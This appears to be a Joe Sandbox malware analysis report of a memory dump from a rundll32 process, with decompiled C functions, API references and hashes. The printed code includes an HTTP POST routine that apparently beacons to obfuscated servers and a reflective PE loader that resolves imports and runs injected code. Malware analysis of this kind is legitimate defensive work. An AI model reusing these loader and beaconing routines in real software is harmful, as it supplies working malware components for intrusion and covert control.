Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: String$AllocFree$HeapInitialize$AllocateBlanketCreateInstanceProxySecurity
String ID: FALSE$TRUE
API String ID: 1290676130-1412513891
Opcode ID: 10172a3e4ffad5d93d9237fe031c4cb89d21e692db10e3fc684176c45b127480
Instruction ID: faee74862e6d97fe68906786a7a87d8891f141f6b9c1496be61e852872f0d8f4
Opcode Fuzzy Hash: 10172a3e4ffad5d93d9237fe031c4cb89d21e692db10e3fc684176c45b127480
Instruction Fuzzy Hash: 52E14171A00219EFEF14DFA5C884AEEBBB9FF48304F10455EE905A7262DB74BA05CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04462951 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 66
libraryloaderCOMMON

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C-Code - Quality: 30%

			E04462951(intOrPtr* _a4) {
				signed int _v8;
				_Unknown_base(*)()* _v12;
				char _v16;
				_Unknown_base(*)()* _t15;
				void* _t20;
				intOrPtr* _t25;
				intOrPtr* _t29;
				struct HINSTANCE__* _t30;

				_v8 = _v8 & 0x00000000;
				_t30 = GetModuleHandleW(L"advapi32.dll");
				if(_t30 == 0) {
					L7:
					return 1;
				}
				_t25 = GetProcAddress(_t30, "CryptAcquireContextA");
				if(_t25 == 0) {
					goto L7;
				}
				_t15 = GetProcAddress(_t30, "CryptGenRandom");
				_v12 = _t15;
				if(_t15 == 0) {
					goto L7;
				}
				_t29 = GetProcAddress(_t30, "CryptReleaseContext");
				if(_t29 == 0) {
					goto L7;
				}
				_push(0xf0000000);
				_push(1);
				_push(0);
				_push(0);
				_push( &_v8);
				if( *_t25() == 0) {
					goto L7;
				}
				_t20 = _v12(_v8, 4,  &_v16);
				 *_t29(_v8, 0);
				if(_t20 == 0) {
					goto L7;
				}
				 *_a4 = E044628AC( &_v16);
				return 0;
			}

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APIs

GetModuleHandleW.KERNEL32(advapi32.dll,00000000,00000000,00000000,04457C84), ref: 04462963
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 0446297B
GetProcAddress.KERNEL32(00000000,CryptGenRandom), ref: 04462989
GetProcAddress.KERNEL32(00000000,CryptReleaseContext), ref: 04462998

Strings

CryptGenRandom, xrefs: 04462983
CryptReleaseContext, xrefs: 04462992
CryptAcquireContextA, xrefs: 04462975
advapi32.dll, xrefs: 0446295E

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CryptAcquireContextA$CryptGenRandom$CryptReleaseContext$advapi32.dll
API String ID: 667068680-129414566
Opcode ID: bda05ba0605649b29c97974297542f7f1a5acad8fddb60484c5b27500f015006
Instruction ID: 0b8f892e993dfed817391a5313a6b49cac07b5e73bbb8be2a3427f6b675fdc5b
Opcode Fuzzy Hash: bda05ba0605649b29c97974297542f7f1a5acad8fddb60484c5b27500f015006
Instruction Fuzzy Hash: BC11AC72B4471977DF11ABB59C42F9FB6ACAF85750F110162EA02F7240DAF0ED048956

Uniqueness

Uniqueness Score: -1.00%

Function 0445F7A3 Relevance: 12.3, APIs: 7, Strings: 1, Instructions: 268
COMMON

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C-Code - Quality: 93%

			E0445F7A3(void* __edx, intOrPtr _a4, intOrPtr _a8, signed int* _a12, signed int* _a16, signed int* _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				int _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				int _v68;
				void* _v72;
				intOrPtr _v92;
				int _v96;
				void* _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char* _v112;
				char _v116;
				char _v132;
				void _v388;
				void _v644;
				intOrPtr _t94;
				intOrPtr _t102;
				signed int _t104;
				intOrPtr* _t105;
				intOrPtr _t110;
				signed int _t111;
				signed int _t112;
				intOrPtr _t115;
				signed int _t116;
				char _t117;
				intOrPtr _t119;
				char _t122;
				intOrPtr _t127;
				signed int _t129;
				intOrPtr _t135;
				intOrPtr _t139;
				intOrPtr _t143;
				intOrPtr _t145;
				intOrPtr _t147;
				intOrPtr _t153;
				intOrPtr _t155;
				intOrPtr _t159;
				void* _t163;
				signed int _t165;
				void* _t166;
				intOrPtr _t179;
				signed int _t186;
				char _t188;
				signed int _t189;
				void* _t190;
				char _t193;
				signed int _t194;
				signed int _t195;
				void* _t196;

				_v24 = 4;
				_v32 = 0;
				_v28 = 1;
				_t190 = __edx;
				memset( &_v388, 0, 0x100);
				memset( &_v644, 0, 0x100);
				_t166 = 0x65;
				_v56 = E04459F6B(_t166);
				_v52 = E04459F6B(0xcc6);
				_v48 = E04459F6B(0xe03);
				_v44 = E04459F6B(0x64c);
				_t94 = E04459F6B(0x80a);
				_v36 = _v36 & 0;
				_t188 = 0x3c;
				_v40 = _t94;
				E04458F63( &_v116, 0, 0x100);
				_v108 = 0x10;
				_v112 =  &_v132;
				_v116 = _t188;
				_v100 =  &_v388;
				_v96 = 0x100;
				_v72 =  &_v644;
				_push( &_v116);
				_push(0);
				_v68 = 0x100;
				_push(E0445A5D0(_t190));
				_t102 =  *0x446f8f0; // 0x0
				_push(_t190);
				if( *((intOrPtr*)(_t102 + 0x28))() != 0) {
					_t104 = 0;
					__eflags = 0;
					_v12 = 0;
					do {
						_t105 =  *0x446f8f0; // 0x0
						_v8 = 0x8404f700;
						_t189 =  *_t105( *0x446f9d8,  *((intOrPtr*)(_t196 + _t104 * 4 - 0x1c)), 0, 0, 0);
						__eflags = _t189;
						if(_t189 != 0) {
							E0445F73B(_t189);
							_t110 =  *0x446f8f0; // 0x0
							_t111 =  *((intOrPtr*)(_t110 + 0x1c))(_t189,  &_v388, _v92, 0, 0, 3, 0, 0);
							__eflags = _a24;
							_t165 = _t111;
							if(_a24 != 0) {
								E0445A1F8(_a24);
							}
							__eflags = _t165;
							if(_t165 != 0) {
								__eflags = _v104 - 4;
								_t112 = 0x8484f700;
								if(_v104 != 4) {
									_t112 = _v8;
								}
								_t115 =  *0x446f8f0; // 0x0
								_t116 =  *((intOrPtr*)(_t115 + 0x20))(_t165, "POST",  &_v644, 0, 0,  &_v56, _t112, 0);
								_v8 = _t116;
								__eflags = _a24;
								if(_a24 != 0) {
									E0445A1F8(_a24);
									_t116 = _v8;
								}
								__eflags = _t116;
								if(_t116 != 0) {
									__eflags = _v104 - 4;
									if(_v104 == 4) {
										E0445F6E9(_t116);
									}
									_t117 = E04459F6B(0x82e);
									_t193 = _t117;
									_v16 = _t193;
									_t119 =  *0x446f8f0; // 0x0
									_t194 = _v8;
									_v8 =  *((intOrPtr*)(_t119 + 0x24))(_t194, _t193, E0445A5D0(_t193), _a4, _a8);
									E04458D87( &_v16);
									__eflags = _a24;
									if(_a24 != 0) {
										E0445A1F8(_a24);
									}
									__eflags = _v8;
									if(_v8 != 0) {
										L25:
										_t122 = 8;
										_v24 = _t122;
										_v20 = 0;
										_v16 = 0;
										E04458F63( &_v20, 0, _t122);
										_t127 =  *0x446f8f0; // 0x0
										__eflags =  *((intOrPtr*)(_t127 + 0xc))(_t194, 0x13,  &_v20,  &_v24, 0);
										if(__eflags != 0) {
											_t129 = E0445A102( &_v20, __eflags);
											__eflags = _t129 - 0xc8;
											if(_t129 == 0xc8) {
												 *_a20 = _t194;
												 *_a12 = _t189;
												 *_a16 = _t165;
												__eflags = 0;
												return 0;
											}
											_v12 =  ~_t129;
											L29:
											_t135 =  *0x446f8f0; // 0x0
											 *((intOrPtr*)(_t135 + 8))(_t194);
											_t195 = _v12;
											L30:
											__eflags = _t165;
											if(_t165 != 0) {
												_t139 =  *0x446f8f0; // 0x0
												 *((intOrPtr*)(_t139 + 8))(_t165);
											}
											__eflags = _t189;
											if(_t189 != 0) {
												_t179 =  *0x446f8f0; // 0x0
												 *((intOrPtr*)(_t179 + 8))(_t189);
											}
											return _t195;
										}
										GetLastError();
										_v12 = 0xfffffff8;
										goto L29;
									} else {
										GetLastError();
										_t143 =  *0x446f8f0; // 0x0
										 *((intOrPtr*)(_t143 + 8))(_t194);
										_t145 =  *0x446f8f0; // 0x0
										_v8 = _v8 & 0x00000000;
										 *((intOrPtr*)(_t145 + 8))(_t165);
										_t147 =  *0x446f8f0; // 0x0
										_t165 = 0;
										__eflags = 0;
										 *((intOrPtr*)(_t147 + 8))(_t189);
										_t194 = _v8;
										goto L21;
									}
								} else {
									GetLastError();
									_t153 =  *0x446f8f0; // 0x0
									 *((intOrPtr*)(_t153 + 8))(_t165);
									_t155 =  *0x446f8f0; // 0x0
									_t165 = 0;
									 *((intOrPtr*)(_t155 + 8))(_t189);
									_t189 = 0;
									_t194 = _v8;
									goto L22;
								}
							} else {
								GetLastError();
								_t159 =  *0x446f8f0; // 0x0
								 *((intOrPtr*)(_t159 + 8))(_t189);
								L21:
								_t189 = 0;
								__eflags = 0;
								goto L22;
							}
						}
						GetLastError();
						L22:
						_t186 = _t194;
						_t104 = _v12 + 1;
						_v12 = _t104;
						__eflags = _t104 - 2;
					} while (_t104 < 2);
					__eflags = _t186;
					if(_t186 != 0) {
						goto L25;
					}
					_t195 = 0xfffffffe;
					goto L30;
				}
				_t163 = 0xfffffffc;
				return _t163;
			}

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APIs

memset.MSVCRT ref: 0445F7D4
memset.MSVCRT ref: 0445F7E5

Part of subcall function 04458F63: memset.MSVCRT ref: 04458F75

GetLastError.KERNEL32(?,?,?,?,?,?,00000000,000007D0,00000000), ref: 0445F8BA

Strings

POST, xrefs: 0445F933

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: memset$ErrorLast
String ID: POST
API String ID: 2570506013-1814004025
Opcode ID: 8e9cb119b7c2d2ad8c45a554448c4167279de8144646e14866876dae64334762
Instruction ID: 8759a65efb3bdc4e982c89f754ca664fe65ca7c664780cb1657034ab41371f7c
Opcode Fuzzy Hash: 8e9cb119b7c2d2ad8c45a554448c4167279de8144646e14866876dae64334762
Instruction Fuzzy Hash: 45A18271A00719EFEF10DFA5D848AAE77B8FF48314F14406AE905E7252DB34AE49CB52

Uniqueness

Uniqueness Score: -1.00%

Function 044614C5 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 445COMMON

Download Yara Rule

APIs

_snprintf.MSVCRT ref: 04461545
qsort.MSVCRT ref: 044617C3

Strings

true, xrefs: 0446151C
%I64d, xrefs: 04461537
false, xrefs: 04461528
null, xrefs: 0446150A

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: _snprintfqsort
String ID: %I64d$false$null$true
API String ID: 756996078-4285102228
Opcode ID: a3fc6619d4e47bb9cef55c05d7d773f03437e9b5510119e21d5cefe05d171da8
Instruction ID: b2391082117d51299a615a6eb1d7d73ea91e57da75bde83f6ae772d7f007b1de
Opcode Fuzzy Hash: a3fc6619d4e47bb9cef55c05d7d773f03437e9b5510119e21d5cefe05d171da8
Instruction Fuzzy Hash: ABE180B1A00209BFEF119F65CC41EBF7B69EF05349F10441AFD179A241E671E9618BA2

Uniqueness

Uniqueness Score: -1.00%

Function 0445503F Relevance: 9.2, APIs: 6, Instructions: 247
stringCOMMON

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C-Code - Quality: 83%

			E0445503F(void* __ecx, void* __edx, void* __fp0, intOrPtr* _a4, WCHAR* _a8, WCHAR* _a12) {
				void _v532;
				char _v548;
				char _v580;
				char _v584;
				short _v588;
				WCHAR* _v592;
				WCHAR* _v596;
				intOrPtr _v600;
				char _v628;
				char _v632;
				void* __ebx;
				void* __esi;
				short _t47;
				WCHAR* _t54;
				WCHAR* _t55;
				intOrPtr _t56;
				signed int _t61;
				void* _t65;
				void* _t66;
				WCHAR* _t67;
				intOrPtr _t68;
				WCHAR* _t70;
				intOrPtr _t71;
				WCHAR* _t73;
				WCHAR* _t83;
				intOrPtr _t84;
				void* _t85;
				intOrPtr _t86;
				void* _t93;
				intOrPtr _t94;
				intOrPtr _t96;
				void* _t99;
				void* _t100;
				WCHAR* _t101;
				void* _t112;
				WCHAR* _t116;
				intOrPtr _t127;
				void* _t128;
				void* _t146;
				WCHAR* _t149;
				void* _t150;
				void* _t152;
				void* _t156;
				WCHAR* _t157;
				WCHAR* _t159;
				signed int _t160;
				signed int _t161;
				intOrPtr* _t163;
				signed int _t165;
				void* _t168;
				void* _t169;
				intOrPtr* _t170;
				void* _t175;

				_t175 = __fp0;
				_push(_t160);
				_t99 = __edx;
				_t156 = __ecx;
				_t161 = _t160 | 0xffffffff;
				memset( &_v532, 0, 0x20c);
				_t168 = (_t165 & 0xfffffff8) - 0x254 + 0xc;
				_v592 = 1;
				if(_t156 != 0) {
					_t94 =  *0x446f8d4; // 0x450fc00
					_t3 = _t94 + 0x110; // 0x45116d0
					_t96 =  *0x446f8d8; // 0x450fab0
					_v600 =  *((intOrPtr*)(_t96 + 0x68))(_t156,  *((intOrPtr*)( *_t3)));
				}
				if(E0445CB85(_t156) != 0) {
					L4:
					_t47 = E0445C85A();
					_push(_t99);
					_v588 = _t47;
					E0445C64D(_t47,  &_v580, _t173, _t175);
					_t100 = E04454FFB( &_v580,  &_v580, _t173);
					_t112 = E0445E34A( &_v580, E0445A5D0( &_v580), 0);
					E0445C870(_t112,  &_v548, _t175);
					_push(_t112);
					_t54 = E04453174(_t156,  &_v580, _t173, _t175);
					_v596 = _t54;
					if(_t54 != 0) {
						_push(0);
						_push(_t100);
						_push(0x446c9d8);
						_t55 = E04459C50(_t54);
						_t169 = _t168 + 0x10;
						_t101 = _t55;
						__eflags = _v592;
						if(__eflags != 0) {
							_t56 = E04459AB3(_v596);
							_t116 = _t101;
							 *0x446f990 = _t56;
							 *0x446f988 = E04459AB3(_t116);
							L12:
							_push(_t116);
							_t157 = E0445A7C6( &_v532, _t156, _t175, _v588,  &_v584,  &_v596);
							_t170 = _t169 + 0x10;
							__eflags = _t157;
							if(_t157 == 0) {
								goto L36;
							}
							_push(0x446ca26);
							_t146 = 0xe;
							E0445AC36(_t146, _t175);
							E0445AC6F(_t157, _t175, _t101);
							_t163 = _a4;
							_push( *_t163);
							E0445AC11(0xb);
							_t148 =  *(_t163 + 0x10);
							__eflags =  *(_t163 + 0x10);
							if( *(_t163 + 0x10) != 0) {
								E0445B1B1(_t148, _t175);
							}
							_t149 =  *(_t163 + 0xc);
							__eflags = _t149;
							if(_t149 != 0) {
								E0445B1B1(_t149, _t175);
							}
							_t65 = E0445A1F8(0);
							_push(_t149);
							_t150 = 2;
							_t66 = E0445ABE3();
							__eflags = _v592;
							_t127 = _t65;
							if(_v592 == 0) {
								_t127 =  *0x446f8d4; // 0x450fc00
								__eflags =  *((intOrPtr*)(_t127 + 0xa4)) - 1;
								if(__eflags != 0) {
									_t67 = E04460DDF(_t66, _t101, _t150, _t175, 0, _t101, 0);
									_t170 = _t170 + 0xc;
									goto L21;
								}
								_t127 = _t127 + 0x228;
								goto L20;
							} else {
								_t68 =  *0x446f8d4; // 0x450fc00
								__eflags =  *((intOrPtr*)(_t68 + 0xa4)) - 1;
								if(__eflags != 0) {
									L27:
									__eflags =  *(_t68 + 0x1898) & 0x00000082;
									if(( *(_t68 + 0x1898) & 0x00000082) != 0) {
										_t152 = 0x64;
										E0445F15B(_t152);
									}
									E0445565D( &_v580, _t175);
									_t159 = _a8;
									_t128 = _t127;
									__eflags = _t159;
									if(_t159 != 0) {
										_t71 =  *0x446f8d4; // 0x450fc00
										__eflags =  *((intOrPtr*)(_t71 + 0xa0)) - 1;
										if( *((intOrPtr*)(_t71 + 0xa0)) != 1) {
											lstrcpyW(_t159, _t101);
										} else {
											_t73 = E0445109A(_t128, 0x153);
											_v596 = _t73;
											lstrcpyW(_t159, _t73);
											E04458D9A( &_v596);
											 *_t170 = "\"";
											lstrcatW(_t159, ??);
											lstrcatW(_t159, _t101);
											lstrcatW(_t159, "\"");
										}
									}
									_t70 = _a12;
									__eflags = _t70;
									if(_t70 != 0) {
										 *_t70 = _v588;
									}
									_t161 = 0;
									__eflags = 0;
									goto L36;
								}
								_t32 = _t68 + 0x228; // 0x450fe28
								_t127 = _t32;
								L20:
								_t67 = E044558D2(_t127, _t101, __eflags);
								L21:
								__eflags = _t67;
								if(_t67 >= 0) {
									_t68 =  *0x446f8d4; // 0x450fc00
									goto L27;
								}
								_push(0xfffffffd);
								L6:
								_pop(_t161);
								goto L36;
							}
						}
						_t83 = E0445D210(_v588, __eflags);
						_v596 = _t83;
						_t84 =  *0x446f8d0; // 0x450f8c0
						_t85 =  *((intOrPtr*)(_t84 + 0xdc))(_t83, 0x80003, 6, 0xff, 0x400, 0x400, 0, 0);
						__eflags = _t85 - _t161;
						if(_t85 != _t161) {
							_t86 =  *0x446f8d0; // 0x450f8c0
							 *((intOrPtr*)(_t86 + 0x30))();
							E04458DDF( &_v632, _t161);
							_t116 = _t85;
							goto L12;
						}
						E04458DDF( &_v628, _t161);
						_t61 = 1;
						goto L37;
					}
					_push(0xfffffffe);
					goto L6;
				} else {
					_t93 = E0445308A( &_v532, _t161, 0x105);
					_t173 = _t93;
					if(_t93 == 0) {
						L36:
						_t61 = _t161;
						L37:
						return _t61;
					}
					goto L4;
				}
			}

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APIs

memset.MSVCRT ref: 04455061
lstrcpyW.KERNEL32 ref: 044552C7
lstrcatW.KERNEL32(00000000,?), ref: 044552E5
lstrcatW.KERNEL32(00000000,00000000), ref: 044552E9
lstrcatW.KERNEL32(00000000,0446CA28), ref: 044552F1

Part of subcall function 04458DDF: HeapFree.KERNEL32(00000000,00000000), ref: 04458E25

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcat$FreeHeaplstrcpymemset
String ID:
API String ID: 911671052-0
Opcode ID: 8a46a34c7f85cad44c808313e760e1b95bb0587b5eb1464624c6291b0b9b7037
Instruction ID: 196a3e70f9bd83151d93960ae673d15f76333d21287deaead059ac55ebfaf1de
Opcode Fuzzy Hash: 8a46a34c7f85cad44c808313e760e1b95bb0587b5eb1464624c6291b0b9b7037
Instruction Fuzzy Hash: 0A71CF71704300ABEF14EB25E884B7B73E9EB84714F14052FF8459B2A6EF74B8088B52

Uniqueness

Uniqueness Score: -1.00%

Function 0445DEAB Relevance: 9.1, APIs: 6, Instructions: 98
stringCOMMON

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C-Code - Quality: 93%

			E0445DEAB(WCHAR* __ecx) {
				int _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				WCHAR* _v140;
				WCHAR* _v144;
				short _v664;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				WCHAR* _t36;
				int _t40;
				signed int _t41;
				int _t44;
				signed int _t45;
				WCHAR* _t49;
				signed int _t51;
				WCHAR* _t52;
				void* _t53;

				_v8 = _v8 & 0x00000000;
				_v16 = __ecx;
				_t51 = 0;
				_t28 = CommandLineToArgvW(GetCommandLineW(),  &_v8);
				_t44 = _v8;
				_t41 = 0;
				_v12 = _t28;
				if(_t44 <= 0) {
					L22:
					_t29 = _t28 | 0xffffffff;
					__eflags = _t29;
					return _t29;
				} else {
					goto L1;
				}
				do {
					L1:
					_t49 =  *(_t28 + _t41 * 4);
					_t30 =  *_t49 & 0x0000ffff;
					if(_t30 != 0 && _t30 != 0xd && _t30 != 0xa && _t30 != 0x2d && _t30 != 0x2f && _t51 < 0x20) {
						 *(_t53 + _t51 * 4 - 0x8c) = _t49;
						_t40 = lstrlenW(_t49);
						_t45 = 0;
						if(_t40 <= 0) {
							L11:
							_t44 = _v8;
							_t51 = _t51 + 1;
							goto L12;
						} else {
							goto L8;
						}
						do {
							L8:
							if(_t49[_t45] == 0x2c) {
								_t49[_t45] = 0;
							}
							_t45 = _t45 + 1;
						} while (_t45 < _t40);
						goto L11;
					}
					L12:
					_t28 = _v12;
					_t41 = _t41 + 1;
				} while (_t41 < _t44);
				if(_t51 != 1) {
					if(__eflags <= 0) {
						goto L22;
					}
					_t52 = _v140;
					L17:
					if( *_t52 == 0x5c || _t52[1] == 0x3a) {
						lstrcpynW(_v16, _t52, 0x104);
					} else {
						GetCurrentDirectoryW(0x104,  &_v664);
						_push(0);
						_push(_t52);
						_push(0x446c9d8);
						_t36 = E04459C50( &_v664);
						_v12 = _t36;
						lstrcpynW(_v16, _t36, 0x104);
						E04458DDF( &_v12, 0xfffffffe);
					}
					return 0;
				}
				_t52 = _v144;
				goto L17;
			}

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0x00000000
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0x00000000

APIs

GetCommandLineW.KERNEL32 ref: 0445DEC0
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 0445DECB
lstrlenW.KERNEL32 ref: 0445DF0D
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 0445DF66
lstrcpynW.KERNEL32(?,00000000,00000104), ref: 0445DF8B
lstrcpynW.KERNEL32(?,?,00000104), ref: 0445DFA9

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: CommandLinelstrcpyn$ArgvCurrentDirectorylstrlen
String ID:
API String ID: 1259063344-0
Opcode ID: 1aa826ea696741df9d3bd191016ed6d7b3597fdd23943a99a05fd41a72b10f28
Instruction ID: 9d30fb934fc57239e67d913461b834c5a68479ef8c614bc2a2594076d4e03807
Opcode Fuzzy Hash: 1aa826ea696741df9d3bd191016ed6d7b3597fdd23943a99a05fd41a72b10f28
Instruction Fuzzy Hash: 8E31C7F2D00115FBEF24AF55DC88AAEB7B9EF45315F10815BEC05E3261DB70A9818B51

Uniqueness

Uniqueness Score: -1.00%

Function 0445E6D9 Relevance: 9.1, APIs: 6, Instructions: 87memoryCOMMON

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APIs

SysAllocString.OLEAUT32(00000000), ref: 0445E6ED
SysAllocString.OLEAUT32(?), ref: 0445E6F5
SysAllocString.OLEAUT32(00000000), ref: 0445E709
SysFreeString.OLEAUT32(?), ref: 0445E784
SysFreeString.OLEAUT32(?), ref: 0445E787
SysFreeString.OLEAUT32(?), ref: 0445E78C

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 7a65b3976ddae259b7aea533feb0021e3a01e3c8ae8e522b1ab99bdada602479
Instruction ID: e136a69505e2a60991380a0fcd700d4c6af31dadd728a9093c082ef0502e4577
Opcode Fuzzy Hash: 7a65b3976ddae259b7aea533feb0021e3a01e3c8ae8e522b1ab99bdada602479
Instruction Fuzzy Hash: 3D21FDB5A00218FFDF00DFA5CC88DAFBBBDEF48654B20449AF505A7251DA71AE01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 04463DC7 Relevance: 7.8, APIs: 5, Instructions: 322
libraryloaderstringCOMMON

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C-Code - Quality: 20%

			E04463DC7(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16, intOrPtr _a20) {
				signed int _v5;
				signed short _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				signed int* _v24;
				unsigned int _v28;
				signed short* _v32;
				struct HINSTANCE__* _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr* _v48;
				signed short* _v52;
				intOrPtr _v56;
				unsigned int _v60;
				intOrPtr _v64;
				_Unknown_base(*)()* _v68;
				signed int _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				unsigned int _v88;
				intOrPtr _v92;
				signed int _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				CHAR* _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _t216;
				signed int _t233;
				void* _t273;
				signed int _t278;
				signed int _t280;
				intOrPtr _t320;

				_v44 = _v44 & 0x00000000;
				_v84 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
				_v20 = _v84;
				_t320 = _a4 -  *((intOrPtr*)(_v20 + 0x34));
				_v64 = _t320;
				if(_t320 == 0) {
					L13:
					while(0 != 0) {
					}
					_push(8);
					if( *((intOrPtr*)(_v20 + 0xbadc25)) == 0) {
						L35:
						if(_a16 == 0) {
							L54:
							_v80 =  *((intOrPtr*)(_v20 + 0x28)) + _a4;
							while(0 != 0) {
							}
							if(_a12 != 0) {
								 *_a12 = _v80;
							}
							 *((intOrPtr*)(_v20 + 0x34)) = _a4;
							_v124 = _v80(_a4, 1, _a8);
							while(0 != 0) {
							}
							if(_v124 != 0) {
								if(_v44 == 0) {
									L77:
									return 1;
								}
								if(_a20 != 1) {
									if(_a20 != 2) {
										L75:
										while(0 != 0) {
										}
										goto L77;
									}
									while(0 != 0) {
									}
									_v132 = _v44;
									goto L75;
								}
								while(0 != 0) {
								}
								_v44();
								goto L75;
							}
							while(0 != 0) {
							}
							return 0;
						}
						while(0 != 0) {
						}
						_push(8);
						if( *((intOrPtr*)(_v20 + 0x78)) == 0) {
							goto L54;
						}
						_v128 = 0x80000000;
						_t216 = 8;
						_v76 = _a4 +  *((intOrPtr*)(_v20 + 0x78 + _t216 * 0));
						_v108 = _a4 +  *((intOrPtr*)(_v76 + 0x20));
						_v112 = _a4 +  *((intOrPtr*)(_v76 + 0x1c));
						_v104 =  *((intOrPtr*)(_v76 + 0x18));
						while(0 != 0) {
						}
						_v40 = _v40 & 0x00000000;
						while(_v40 < _v104) {
							_v116 = _a4 +  *((intOrPtr*)(_v108 + _v40 * 4));
							_v120 = _a4 +  *((intOrPtr*)(_v112 + _v40 * 4));
							if(lstrcmpA(_v116, _a16) != 0) {
								_v40 = _v40 + 1;
								continue;
							}
							while(0 != 0) {
							}
							_v44 = _v120;
							break;
						}
						if(_v44 != 0) {
							goto L54;
						}
						while(0 != 0) {
						}
						return 0xffffffff;
					}
					_v96 = 0x80000000;
					_t233 = 8;
					_v16 = _a4 +  *((intOrPtr*)(_v20 + (_t233 << 0) + 0x78));
					while( *((intOrPtr*)(_v16 + 0xc)) != 0) {
						_v36 = GetModuleHandleA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						if(_v36 == 0) {
							_v36 = LoadLibraryA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						}
						if(_v36 != 0) {
							if( *_v16 == 0) {
								_v24 =  *((intOrPtr*)(_v16 + 0x10)) + _a4;
							} else {
								_v24 =  *_v16 + _a4;
							}
							_v72 = _v72 & 0x00000000;
							while( *_v24 != 0) {
								if(( *_v24 & _v96) == 0) {
									_v100 =  *_v24 + _a4;
									_v68 = GetProcAddress(_v36, _v100 + 2);
								} else {
									_v68 = GetProcAddress(_v36,  *_v24 & 0x0000ffff);
								}
								if( *((intOrPtr*)(_v16 + 0x10)) == 0) {
									 *_v24 = _v68;
								} else {
									 *( *((intOrPtr*)(_v16 + 0x10)) + _a4 + _v72) = _v68;
								}
								_v24 =  &(_v24[1]);
								_v72 = _v72 + 4;
							}
							_v16 = _v16 + 0x14;
							continue;
						} else {
							_t273 = 0xfffffffd;
							return _t273;
						}
					}
					goto L35;
				}
				_t278 = 8;
				_v52 = _a4 +  *((intOrPtr*)(_v20 + 0x78 + _t278 * 5));
				_t280 = 8;
				_v56 =  *((intOrPtr*)(_v20 + 0x7c + _t280 * 5));
				while(0 != 0) {
				}
				while(_v56 > 0) {
					_v28 = _v52[2];
					_v56 = _v56 - _v28;
					_v28 = _v28 - 8;
					_v28 = _v28 >> 1;
					_v32 =  &(_v52[4]);
					_v92 = _a4 +  *_v52;
					_v60 = _v28;
					while(1) {
						_v88 = _v60;
						_v60 = _v60 - 1;
						if(_v88 == 0) {
							break;
						}
						_v5 = ( *_v32 & 0x0000ffff) >> 0xc;
						_v12 =  *_v32 & 0xfff;
						_v48 = (_v12 & 0x0000ffff) + _v92;
						if((_v5 & 0x000000ff) != 3) {
							if((_v5 & 0x000000ff) == 0xa) {
								 *_v48 =  *_v48 + _v64;
							}
						} else {
							 *_v48 =  *_v48 + _v64;
						}
						_v32 =  &(_v32[1]);
					}
					_v52 = _v32;
				}
				goto L13;
			}

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0x04463ea9
0x04463eb4
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0x04463ed3
0x04463ed3
0x04463edb
0x04463edb
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 04463F2E
LoadLibraryA.KERNEL32(00000000), ref: 04463F47
GetProcAddress.KERNEL32(00000000,?), ref: 04463FA3
GetProcAddress.KERNEL32(00000000,?), ref: 04463FC2
lstrcmpA.KERNEL32(?,00000000), ref: 044640B3

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4450000_rundll32.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleLibraryLoadModulelstrcmp
String ID:
API String ID: 1872726118-0
Opcode ID: 9ef4ca4ccfb598c2370e440a6953979c825fb973104e7974568f2c4005143921
